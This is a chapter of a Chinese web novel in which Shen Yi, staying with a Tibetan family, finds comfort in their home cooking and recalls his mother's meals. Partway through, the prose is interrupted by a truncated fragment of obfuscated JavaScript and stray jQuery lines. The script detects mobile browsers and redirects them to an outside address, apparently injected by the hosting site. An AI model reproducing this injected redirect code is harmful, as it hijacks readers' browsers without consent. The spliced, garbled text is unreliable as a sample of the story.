后来回忆最先想起的，是味道。


    他第一次认真思考“食物”这件事，是在来到尼玛旺堆家第七天的早晨。


    那天的早餐是一碗藏面，汤色清亮，牛肉碎末在阳光下泛着油润的光泽。阿妈米玛啦像往常一样，把这碗面放在他面前，用那双布满皱纹的手，把筷子仔细地摆正，然后退后一步，慈爱地看着他。


    沈翊拿起碗筷，低头吃面，第一口，热汤滑入喉咙，带着牛骨熬煮后的醇厚和一种他叫不出名字的香料气息。第二口，面条筋道，麦香扎实,第三口，他忽然停住了。


    他已经很久、很久，没有被人这样注视着吃过饭了。


    非常尴尬。


    在他居住的城市，早餐经常是便利店的三明治，在电脑前狼吞虎咽，咖啡凉了也顾不上续杯。午餐是外卖盒里混成一团的盖饭，一边开视频会议一边机械地扒进嘴里。晚餐……如果江泽回家，他们会在一起各自吃完；如果江泽不回家，那碗泡面就像一场敷衍的仪式，只是为了证明“我今天吃了东西”。


    没有人在乎他吃得好不好，吃得开不开心，吃得够不够。


    但阿妈米玛啦在乎。


    她听不懂他说话，看不懂他带来的书，对他的过去一无所知。但她每天清晨，会为他煮一碗不咸不淡的藏面，把筷子摆正，退后一步，然后专注地看着他吃。


    那目光里有慈爱，有担忧，还有一种质朴的、近乎固执的坚持，用尼玛旺堆的话翻译就是，“你太瘦了，要多吃一点，太瘦了。”


    这种坚持，似乎从来不需要语言。


    那天晚上，沈翊躺在床上，听着隔壁尼玛旺堆均匀的呼吸声，忽然想起了母亲。


    他母亲做饭很好吃，这是他记忆里为数不多的、没有染上后来那些怨恨色彩的温馨片段。


    糖醋排骨要炸两遍，第一遍定型，第二遍上色，外酥里嫩。西红柿炒蛋要加一点点糖，不能多，多了腻，少了酸。她系着那条洗得发白的碎花围裙，在厨房里转来转去，锅铲碰撞的声音，是童年里最安稳的背景音。


    后来她离开时，什么都没带走，包括那条围裙。


    沈翊很多年没想过这些了，他以为自己早就忘了，忘了那条围裙的颜色，忘了糖醋排骨要炸两遍的秘诀，忘了母亲曾经也是会在乎他吃没吃饱的人。


    原来他没有忘。


    那些味道一直在那里，只是他不敢去碰。


    他翻了个身，把脸埋进被子里。羊毛被有阳光和干草的气息，还有一点淡淡的、属于尼玛旺堆身上的藏香味，很暖，令人安心。


    他没有哭，只是在这个陌生的、遥远的、三千公里外的藏地村庄里，他第一次允许自己承认，‘他想念那个曾经在乎他吃没吃饱的人。’


    尽管那个人，已经不在他身边了。


    第二天下午，尼玛旺堆说要去镇上买些东西。


    “家里的酥油茶饼快用完了，糌粑也要添。”他蹲在院子里检查三轮车的胎压，“哥，你想一起去吗？”


    沈翊点头，他发现自己越来越习惯这个动作了，不问去哪里，去多久，去做什么。只要尼玛旺堆问“一起去吗”，他就点头。


    这是信任，还是一种更深的依赖？他不想分辨，他也懒得去分辨。


    镇子不大，一条主街，两旁是杂货铺、茶馆和卖农具的店。尼玛旺堆熟门熟路地走进一家挂着“民族特产”招牌的铺子，用藏语和店主交谈了几句。


    沈翊站在一旁，看着货架上琳琅满目的商品，真空包装的风干肉，印着藏文的糌粑粉，花花绿绿的水果糖，装在玻璃罐里的奶渣……他想起尼玛旺堆口袋里那些总也掏不完的糖，原来是在这里买的。


    尼玛旺堆很快挑好了酥油茶饼和糌粑袋装，店主是个头发花白的老人，动作很慢，把酥油茶饼用油纸仔细包好，又用塑料绳捆了两道。他看了看站在旁边的沈翊，忽然用生硬的汉语问：“旅游的？”


    “啊，是。”沈翊有些局促地点头。


    老人点点头，没再说什么，递过找回的零钱。


    走出铺子，尼玛旺堆忽然问：“你饿不饿？”


    沈翊摇头，午饭才刚吃不久，不是很饿。


    “那我们去个地方。”尼玛旺堆把酥油茶饼和糌粑袋装放进车斗说，“不远。”


    三轮车驶出镇子，沿着一条土路开了约莫二十分钟，停在一户农家门口。


    院子不大，土坯垒的墙，檐下挂着奶渣盆。一个穿着藏袍的中年妇女正在院中晾晒奶渣，看见尼玛旺堆，立刻放下手中的活计，笑着迎上来。


    他们用藏语交谈了几句，女人频频点头，目光转向沈翊，带着友善的好奇，她说了句什么，尼玛旺堆翻译：“阿佳说，你看起来太瘦了，要留下来吃饭吗？”


    沈翊愣了一下，看向女人，她皮肤黝黑，笑起来眼角的皱纹堆得很深，眼神却亮晶晶的，真诚而坦率。


    “会不会太打扰……”他有些迟疑。


    “不会。”尼玛旺堆已经跨进院子，“阿佳是我阿妈的远房亲戚，每年藏历年我们都来她家拿奶渣。她家做的奶渣，是这一带最好的。”


    阿佳已经转身进了屋子，沈翊跟在尼玛旺堆身后，走进这户农家的小厨房。


    厨房比想象中宽敞，中央是一个与尼玛旺堆家相似的铁皮火炉，炉膛里柴火正旺。墙上挂着各种铜制器具，在火光下泛着温暖的光泽。空气里弥漫着浓郁的奶香和柴烟的气息。


    阿佳正在厨房忙碌，她的动作很快，非常麻利，双手在面粉和清水间翻飞，面团在她掌心揉捏、摔打、折叠，发出有节奏的“嘭嘭”声。


    “她在做‘突巴’。”尼玛旺堆低声解释，“一种面疙瘩汤，我们冬天常吃。”


    沈翊站在一旁，看得很专注。


    他从未如此近距离地观察过一个人做饭，不是电视里精致摆盘的美食节目，不是母亲离开后他独自面对厨房时的狼狈应付。这是一个农妇最日常的劳作，她的手上有常年劳作留下的茧，指甲缝里嵌着洗不净的面粉，但她的每一个动作都无比流畅，像在跳一支跳了几十年的舞。


    面团揉好，盖上湿布醒着，阿佳转向灶台，从缸里舀出一大勺羊骨高汤倒进锅里。骨头汤早已熬成乳白色，在锅里慢慢冒起细密的气泡。


    她又从梁上取下一块风干的牦牛肉，用刀片成薄片。刀刃与肉分离时发出轻微的“嘶嘶”声，像丝绸撕裂。牛肉纹理清晰，深红近乎发黑，在高原干燥的空气里保存了数月，依然散发着浓郁的肉香。


    沈翊看得入神，没注意到尼玛旺堆已经走到他身边。


    “想试试？”尼玛旺堆问。


    “试什么？”


    “切肉。”


    沈翊看着那块被阿佳熟练片开的牛肉，有些犹豫：“我没切过风干肉。”


    “什么事都有第一次。”尼玛旺堆接过阿佳手里的刀，示范给他看，“顺着纹理切，不用太薄，厚一点反而有嚼劲。”


    他把刀递给沈翊。


    沈翊接过刀，握刀柄的姿势有些生硬。他深吸一口气，学着尼玛旺堆刚才的样子，刀锋贴着肉纤维的纹路，缓缓切下，第一片切得很厚，边缘参差不齐。


    阿佳笑了起来，不是嘲笑，是那种“第一次都这样”的理解的笑，她走到沈翊身后，伸出手，轻轻握住他拿刀的手，带着他调整角度，手腕微微下沉。


    她的手粗糙而温暖，掌心有细密的茧，她不会说汉语，但通过这双手，沈翊懂了她的意思，‘刀要稳，心要静。’


    第二片切得好了很多。


    第三片，第四片，他渐渐找到了手感。


    尼玛旺堆站在一旁看着，火光映在他脸上，很好看。沈翊收回视线，切完最后一片肉，抬起头，正好对上他的目光。


    那目光里有赞许，也有对他初次尝试切肉的赞许。


    汤烧开了，阿佳把醒好的面团擀开，切成拇指大小的方块，一个个揪进沸汤里。面疙瘩在滚水中翻涌、浮沉，像一群白色的小鱼。她又把沈翊切的牛肉片放进去，加入盐和一种磨成粉末的香料。


    最后，她舀了一勺金色的酥油，淋在汤面上，热油与滚汤接触的瞬间，激发出惊人的香气，牛骨的醇厚，牦牛肉的咸鲜，香料的辛烈，酥油的奶甜，还有最底层的、属于高原青稞最朴实麦香。


    沈翊不自觉地咽了咽口水。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209158|196977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >阿佳盛了三碗，最大最满的那碗，放在沈翊面前。


    “吃。”她说，这是她今晚说的为数不多的汉语，发音有些笨拙，却重若千钧。


    沈翊双手接过碗，低下头，喝了一口。


    滚烫的液体滑入喉咙，一路烫到胃里，然后是鲜，是一种他从没在任何汤里尝到过的、混合了风、阳光和时间味道的鲜。他大口喝着，被烫得直吸气，却停不下来。


    一碗汤见了底，他才抬起头。


    阿佳和尼玛旺堆都看着他，阿佳眼里是满意的笑，尼玛旺堆的嘴角微微弯着，什么也没说。


    “好喝。”沈翊轻声说，声音有些沙哑。


    阿佳笑着又给他添了一碗。


    那晚回去的路上，沈翊靠在车斗边缘，看着渐渐暗下来的天色，月亮升起来了，又大又圆，银辉铺满荒芜的原野，风很冷，但他不觉得冷。


    “阿佳做的汤，为什么那么鲜？”他问。


    “因为肉是去年冬天的。”尼玛旺堆开着车，声音被风吹得有些散，“牦牛在夏天吃最嫩的草，秋天长膘，冬天宰杀，风干的时候，肉质鲜嫩，时间越长，味道越浓。”


    他顿了顿，笑着说：“好味道，都是等出来的。”


    沈翊沉默了很久。


    他想起以前在城里的那些外卖盒里的食物，快，方便，千篇一律。没有人会为了一碗汤等上一年。没有人会在意肉在风干的过程。没有人会把食物和时间的关系，理解得如此朴素而深刻。


    “你们这里的食物，好像都有自己的故事。”他说。


    “所有食物都有自己的故事。”尼玛旺堆从后视镜里看了他一眼，“只是我们忘了听。”


    后来沈翊渐渐发现，在尼玛旺堆家，食物从来不只是食物。


    它是语言，是历史，是一个人向另一个人传递情感时，最古老也最直接的媒介。


    阿妈米玛啦不会说汉语，但她会每天清晨为他煮一碗不咸不淡的藏面，她知道他不习惯酥油茶的味道，便默默在他碗里自觉的不放。她看见他喜欢吃风干牛肉，便把自己那份也夹到他碗里，用生硬的汉语说“你吃，我牙不好”。


    而德吉次仁从拉萨回来，总会带些新奇的食物，包装精美的牦牛奶糖，印着藏汉双语的青稞饼干，甚至有一次，她从背包里掏出两盒自热火锅。


    “尝尝这个，”她把发热包浸水，盖上盖子，像展示魔法一样，“十五分钟就好，比我们煮茶还快。”


    沈翊看着那盒沸腾的自热火锅，心里涌起一种复杂的情绪。在北京，这是加班到深夜时的标配，他和同事们围坐在茶水间，各自低头刷着手机，机械地咀嚼。那味道是辣的，麻的，烫的，唯独不是“温暖”的。


    但此刻，在这间弥漫着酥油茶香和牛粪烟火气的屋子里，这盒自热火锅忽然变得陌生了，它的包装太鲜艳，香味太尖锐，加热过程甚至像一场无声的表演。


    德吉次仁尝了一口，皱起眉：“怎么这么咸？网上都说好吃啊，得，我又被骗了……还不如自己做呢……”


    尼玛旺堆也尝了，没说话，只是默默把筷子放下了。


    阿妈米玛啦也尝了一口，微微皱眉，没再动筷。


    沈翊却把那盒火锅吃了一大半，不是喜欢，是不想辜负德吉次仁的心意，但被尼玛旺堆阻止了他说，“算了，别吃了，不好吃。”


    那天晚上，他的胃难受了很久，不是火锅的问题，是他的胃早已习惯了阿妈米玛啦那些温和、朴实的食物。


    第二天清晨，阿妈米玛啦端上来的是一碗清粥。米粒熬得开花，表面浮着一层薄薄的米油。她没问他昨晚怎么了，只是把这碗粥放在他面前，然后像往常一样，退后一步，看着他。


    沈翊低头喝粥。


    温热的液体从喉咙滑入胃里，像一双手，轻轻抚平了昨夜的翻涌。


    他忽然想哭。


    不是因为委屈，是因为被看见。


    在这间他连语言都不通的屋子里，有一个女人，用一碗粥，读懂了他身体的不适。


    食物是这样一种语言。


    它不需要翻译。


    它却能无声地安慰人受伤的心。